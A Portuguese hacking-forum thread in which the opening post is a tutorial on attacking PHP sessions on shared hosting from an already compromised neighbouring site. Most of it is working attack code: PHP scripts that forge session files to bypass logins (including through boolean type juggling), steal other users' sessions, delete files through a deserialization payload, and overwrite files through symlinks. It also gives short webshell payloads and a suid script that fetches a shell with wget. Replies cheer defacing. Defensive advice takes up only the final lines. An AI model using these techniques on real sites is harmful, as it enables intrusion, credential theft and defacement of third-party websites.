Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Ataques em sessões em hosts compartilhados

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Ataques em sessões em hosts compartilhados

    Em PHP é muito comum o uso de sessões, que é um mecanismo de salvar dados entre vários acessos de um usuário.
    A cada usuário é associado um identificador, guardado em cookies ou passado pela url (caso seja permitido nas configurações), que referencia no servidor os dados desse.
    Por padrão, esses dados são salvos em arquivos no servidor e, no caso de sistemas *nix, na /tmp.
    O problema é que qualquer usuário do sistema pode escrever na /tmp e o PHP não se importa se do site A são referenciados dados de sessão em um arquivo do usuário do site B no mesmo host.
    Exemplificando:
    Dado um site B invadido no mesmo host do site A.
    Site B:
    cria_sessao.php:
    Código:
    <?php
    /*
        Ao invés de usar as funções de sessão do PHP poderiamos também simplesmente escrever os dados
        já serializados no arquivo (é bem útil se houverem vetores para ataques de deserialização).
    */
    session_start();
    /*
        Mudamos as permissões do arquivo para que todos os usuários possam ler e escrever nele.
    */
    chmod('/tmp/sess_'.session_id(), 0777);
    $_SESSION['exemplo'] = 'Esse dado será lido do site A.';
    /*
        Bastaria olhar o cookie (por padrão com a chave PHPSESSID) para saber qual o ID, o exibimos no script por simplicidade.
    */
    echo session_id();
    ?>
    Site A:
    le_sessao.php:
    Código:
    <?php
    session_start();
    echo $_SESSION['exemplo'];
    ?>
    Para que o dado seja acessivel ao script le_sessao.php do site A basta alterar o id da sessão no cookie do mesmo.
    Bom, vejamos alguns exemplos de como isso nos pode ser útil.
    Código:
    <?php
    session_start();
    
    include 'db_config.php';
    
    if(isset($_SESSION['login']) && isset($_SESSION['senha'])) {
        echo 'Autenticado com sucesso!', nl2br("\n");
        echo 'Bem vindo,', $_SESSION['login'];
    } else if(isset($_POST['login']) && isset($_POST['senha'])) {
        /*
            Código desnecessario.
            Usando o antigo driver ao inves do mysqli (rôp).
        */
        $login = mysqli_real_escape_string($_POST['login']);
        $senha = sha1($_POST['senha']);
        $query = mysql_query(sprintf('SELECT 1 FROM usuarios WHERE login=\'%s\' AND senha=\'%s\'', $login, $senha));
        if($query && mysql_num_rows($query) > 0) {
            $_SESSION['login'] = $login;
            $_SESSION['senha'] = $senha;
        } else {
            echo 'Autenticação falhou.';
        }
    } else {
        /* Exibe formulário de login. */
    }
    ?>
    Para burlar essa autenticação bastaria, do site B, setar esses valores e os tornar acessiveis pelo script do site A, como já demonstrado acima.
    Existem casos em que o valor da sessão é comparado com strings, como em:
    Código:
    <?php
    session_start();
    
    $cfg_login = 'algum login';
    $cfg_senha = 'alguma senha';
    
    $login = isset($_SESSION['login']) ? $_SESSION['login'] : '';
    $senha = isset($_SESSION['senha']) ? $_SESSION['senha'] : '';
    if($login == $cfg_login && $senha == $cfg_senha) {
        echo 'Autenticado!';
    } else {
        //Testa com valores fornecidos ou exibe formulario de login
    }
    ?>
    A primeira vista o script parece bem seguro, mas lembre-se que o operador de comparação == muda o tipo de um dos parâmetros para o de maior precedência e vários tipos de dados podem ser guardados em sessões.
    O que isso quer dizer?Quando, com esse operador, você compara um tipo booleano com uma string o valor efetivamente retornado pela string será um booleano (precedência maior) de valor verdadeiro (qualquer string não vazia) ou falso.
    Logo, basta, do site B, setarmos esses valores como o booleano true:
    Código:
    <?php
    session_start();
    chmod('/tmp/sess_'.session_id(), 0777);
    $_SESSION['login'] = true;
    $_SESSION['senha'] = true;
    ?>
    Também é comum scripts usando valores de sessão não sanitizados.
    Código:
    <?php
    include 'config.php';
    include 'utils.php';
    
    checa_login();
    $query = mysql_query(sprintf('SELECT creditos FROM usuarios WHERE login=\'%s\'', $_SESSION['login']));
    //Resto do código
    ?>
    Fica evidente a possibilidade de injeção de SQL.

    Ainda não abordamos um problema primordial: scripts vão variar em como denominam os dados na sessão.
    Nos scripts acima poderiamos ter as chaves __login_ e __senha_ ao invés de login e senha.
    Você vai deixar a aplicação te dizer essas denominações.
    Vai simplesmente "apontar a sessão" para um arquivo que você controla (como já demonstrado acima) e ler o que a aplicação salva nele, como no caso do login.
    Ai sim tentará injetar dados e afins.

    Se não houver acesso a parte que se quer explorar na aplicação (como um login administrativo restrito), os testes terão que ser feitos as cegas (não saberá exatamente as chaves utilizadas) ou por um brute-force das chaves.
    Exploração as cegas:
    Código:
    <?php
    function _sess_serialize($keys, $value) {
        $ret = '';
        foreach($keys as $key) {
            $ret .= $key.'|'.serialize($value);
        }
        return $ret;
    }
    
    $login_keys = array('login', 'usuario', 'user', 'username', '_user');
    $pass_keys = array('senha', 'pass', 'password');
    
    $sess_file = '/tmp/sess_'.md5(1);
    
    /*
        Usamos um objeto serializavel da SPL para tentar causar um erro no caso do uso em uma operação com string (vide cast).
    	Isso já burla a autenticação valendo-se de um isset e similares, como demonstrado acima.
    */
    $ret = _sess_serialize(array_merge($login_keys, $pass_keys, $autenticado_keys), new SplObjectStorage());
    file_put_contents($sess_file, $ret);
    chmod($sess_file, 0777);
    ?>
    Outros métodos de fuzzing podem ser necessários, como já tentar algumas injeções.
    Pra definir específicamente quais chaves são usadas uma espécie de binary search pode ser usado:
    1 - Definir um arquivo A com uma série de chaves e dentre elas as utilizadas.
    2 - Proceder a dividir o arquivo em 2 (de forma inteligente).
    3 - Repetir os passos anteriores até se chegar ao arquivo final só com as chaves utilizadas.

    Nota-se que em todos os scripts anteriores é possivel roubar sessões de outros usuários, bastando listar todas as sessões pelos arquivos na /tmp e alterando o id no cookie.
    Isso pode ser bem útil, como em um caso no qual a injeção de dados de sessão não seja um vetor explorável, no caso de um painel restrito de administrador, para abusar da conta de outros usuários etc.
    É interessante fazer a checagem desses ids de forma automática, i.e, criar um programa pra isso.

    Ataques de fixação de sessão (por XSS, DNS Rebind ou até pela url) podem ser "melhorados" apontando o id fixado para um arquivo que você controla, o que pode vir a expor dados sensiveis (como no primeiro exemplo, onde a hash da senha é guardada na sessão).
    Observe um caso de exploração interessante:
    Código:
    <?php
    session_start();
    
    include 'utils.php';
    
    $cfg_login = 'algum login';
    $cfg_senha = 'alguma senha';
    
    $login = isset($_SESSION['login']) ? $_SESSION['login'] : '';
    $senha = isset($_SESSION['senha']) ? $_SESSION['senha'] : '';
    $ip = isset($_SESSION['ip']) ? $_SESSION['ip'] : '';
    //Corrigido
    if($login === $cfg_login && $senha === $cfg_senha && $_SERVER['REMOTE_ADDR'] === $ip) {
        echo 'Autenticado!';
        //Mostra página interessante, como um upload.
    } else {
        //Código MUITO tosco para facilitar exemplificacao
        $res = faz_autenticacao();
    	if($res['esta_autenticado']) {
    	        $_SESSION['login'] = $res['login'];
    		$_SESSION['senha'] = $res['senha'];
    		$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
    		//mostra pagina atual
    		refresh();
    	}
    }
    ?>
    O método anterior cai como uma luva.Basta ler as credenciais no arquivo.Mas e se tivéssemos:
    Código:
    <?php
    session_start();
    
    include 'utils.php';
    
    $cfg_login = 'algum login';
    $cfg_senha = 'alguma senha';
    
    $login = isset($_SESSION['login']) ? $_SESSION['login'] : '';
    $senha = isset($_SESSION['senha']) ? $_SESSION['senha'] : '';
    $ip = isset($_SESSION['ip']) ? $_SESSION['ip'] : '';
    //Corrigido
    if($login === $cfg_login && $senha === $cfg_senha && $_SERVER['REMOTE_ADDR'] === $ip) {
        echo 'Autenticado!';
    	//mostra pagina interessante, como um upload.
    } else {
        //codigo MUITO tosco para facilitar a exemplificacao
        $res = faz_autenticacao();
    	if($res['esta_autenticado']) {
    	        $_SESSION['login'] = $res['login'];
    		//Senha é guardada como um hash forte
    		$_SESSION['senha'] = sha1('SALTFODA'.$res['senha']);
    		$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
    		//Mostra página atual
    		refresh();
    	}
    }
    ?>
    Já não basta só ler as credenciais.Poderiamos proceder alterando o ip no arquivo para o nosso e dai acessando o script com o id que referencia esses dados.

    Ataques de deserialização também são possiveis nesse contexto, lembrando que se houver um autoloader ele é chamado no processo.
    Código:
    <?php
    class ClasseVulneravel
    {
        private $arquivo_temporario;
    
        public function __construct($arquivo_temporario = 'temp.txt') {
    	    $this->arquivo_temporario = $arquivo_temporario;
    	}
    	
    	//...
    	
    	public function __destruct() {
    	    unlink($this->arquivo_temporario);
    	}
    }
    ?>
    Suponha que a classe acima está disponivel em um script que utiliza sessões.Para deletar um arquivo do usuário a sua escolha bastaria passar um objeto dessa classe com $arquivo_temporario apontando para o mesmo.
    Código:
    <?php
    //supondo que queiramos deletar /home/sitea/public_html/restrito/.htaccess
    $sess_file = '/tmp/sess_'.md5(1);
    //equivalente a serialize(new ClasseVulneravel('/home/sitea/public_html/restrito/.htaccess'));
    $objeto_serializado = 'O:16:"ClasseVulneravel":1:{s:36:"ClasseVulneravelarquivo_temporario";s:42:"/home/sitea/public_html/restrito/.htaccess";}';
    
    file_put_contents($sess_file, 'chave_qualquer|'.$objeto_serializado);
    chmod($sess_file, 0777);
    ?>
    O objeto estaria, então, disponivel no contexto do script alvo e no final da execução do script, quando o __destruct for chamado o arquivo será deletado.

    Havendo a possibilidade da criação de symlinks, é possivel escrever e sobreescrever arquivos do alvo através de scripts que utilizem sessões.
    Infelizmente, só parte do output é controlado por você dado o formato em que são escritos os dados podendo haver ainda outras restrições forçadas pelo script.
    Suponha o script:
    Site A:
    Código:
    <?php
    session_start();
    $_SESSION['exemplo'] = '<?php phpinfo(); ?>';
    //simplificando
    echo 'id:', session_id();
    ?>
    Execute o mesmo abrindo a página no site A.Note o que foi escrito no arquivo de sessão sess_ID (onde ID é o id exibido, disponivel no cookie):
    exemplo|s:19:"<?php phpinfo(); ?>";
    Temos nosso código PHP ali no meio pronto pra ser executado.
    Podemos então criar um symlink para onde queremos escrever e fazer o id de sessão apontar pra esse symlink:
    Do site B invadido:
    ln -fs /home/sitea/public_html/phpinfo.php sess_foo
    Basta agora entrarmos com esse id de sessão no script do site a que nosso script estará lá.
    Outras possibilidades incluem sobreescrever um script de validação de credenciais com dados inválidos e por ai vai.
    Código:
    <?php
    //se nao estiver logado, o usuario toma um redirect e a execução para
    include 'checa_login.php';
    
    echo 'Bem vindo a area restrita!!';
    ?>
    Note que sobreescrever o arquivo checa_login.php subverteria a autenticação.

    Pode acontecer do campo utilizado para a injeção (uma senha salva na sessão em plain-text sem limitações de caracteres utilizados, por exemplo) ter uma limitação de tamanho.
    Nesse caso, as seguintes payloads, dependentes do short_open_tags disponível em versões antigas, podem ser utilizadas:
    Melhor injeção (não é passivel de disable_functions já que o eval é uma construção de linguagem), 18 caracteres: <?eval($_GET[0])?>
    Query string de exemplo [1]: ?0=phpinfo();
    Query string de exemplo [2] (evitando aspas): ?0=file_put_contents($_GET[1],base64_decode($_GET[2]));&1=exemplo.php&2=shell em base64
    Limitado pelo disable_functions, 14 caracteres: <?`$_GET[0]`?>
    Query string de exemplo [1]: ?0=php -i
    Query string de exemplo [2]: ?0=echo "<?php /*codigo da shell ou downloader*/ ?>" > exemplo.php
    Query string de exemplo [3] (evitando aspas, requer base64 instalado.existem outros meios): ?0=echo shell em base64 | base64 -d > exemplo.php
    Limitado pelo disable_functions, 12 caracteres: <?`/tmp/a`?>
    Do site B o script a teria que ser criado em /tmp como suid.Por exemplo:
    echo -e "#!/bin/bash\nwget Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... shell.txt /home/sitea/public_html/shell.php" > /tmp/a
    chmod a+rwxs /tmp/a

    Os ataques acima (com exceção do de roubo) são restringidos pelo safe_mode (sem safe_mode_gid) e possivelmente open_basedir.
    A real -e óbvia- solução é setar a session.save_path para uma diretória sua com as permissões corretas.
    Por exemplo:
    #Cria diretório
    mkdir /home/sitea/tmp
    #Deixa o diretório com permissão de leitura e escrita somente para o usuário.Seta o sticky bit (só o dono do arquivo pode o deletar) por precaução.
    chmod a-rwx+t,u+rw /home/sitea/tmp2
    E depois alterar as configurações do PHP (no php.ini ou por script) para refletir a mudança.
    Código:
    <?php
    session_save_path('/home/sitea/tmp');
    //ou ini_set('session.save_path', '/home/sitea/tmp');
    ?>
    Guardar as sessões de outras maneiras (como em um banco de dados, por exemplo) também resolve, desde que existam políticas de segurança compatíveis.
    O apresentado acima ainda não nos protege de roubo de sessões (através de XSS e afins).É interessante o uso de um token do usuário para a validação da sessão em relação ao acesso do mesmo.
    Código:
    <?php
    session_start();
    //sha1(ip+browser)
    $checksum = sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']);
    if(!isset($_SESSION['token']))
        $_SESSION['token'] = $checksum;
    else if($_SESSION['token'] !== $checksum)
        die('Essa sessão não é sua!');
    ?>
    Por íncrivel que pareça, isso é extremamente útil.

    Créditos: singur

  • Font Size
    #2
    Aí sim em singur, Area Defacer também é cultura !
    Conhecimento não é crime!

    Minha missão: Ser o Robin Hood Virtual

    Comment


    • Font Size
      #3
      um bom conteúdo para ser explorado em galera... mais ow menos 95% dos web masters usam session, apesar de eu não ser web master, eu tbm uso :hehe:

      Se me bloqueiam de um lado, eu me infiltro do outro
      Eu sou pior que um rato eu entro pelo esgoto
      Voltei de preto pro combate sem medo de apanhar
      Eu não sou Jesus Cristo então vou revidar!





      É meu fan? Use minha fan bar




      A nossa maior glória não reside no fato de nunca cairmos, mas sim em levantarmo-nos sempre depois de cada queda.

      Comment


      • Font Size
        #4
        Muito bom Jovem Padawan.
        Yes, I am a criminal. My crime is that of curiosity. My crime is
        that of judging people by what they say and think, not what they look like.
        My crime is that of outsmarting you, something that you will never forgive me
        for.

        I am a hacker, and this is my manifesto. You may stop this individual,
        but you can't stop us all... after all, we're all alike.

        Comment


        • Font Size
          #5
          Valeu!
          As injeções propostas podem ser diminuidas em 2 caracteres omitindo a tag de fechamento do script php (vide ?>).

          Comment

          X
          Working...
          X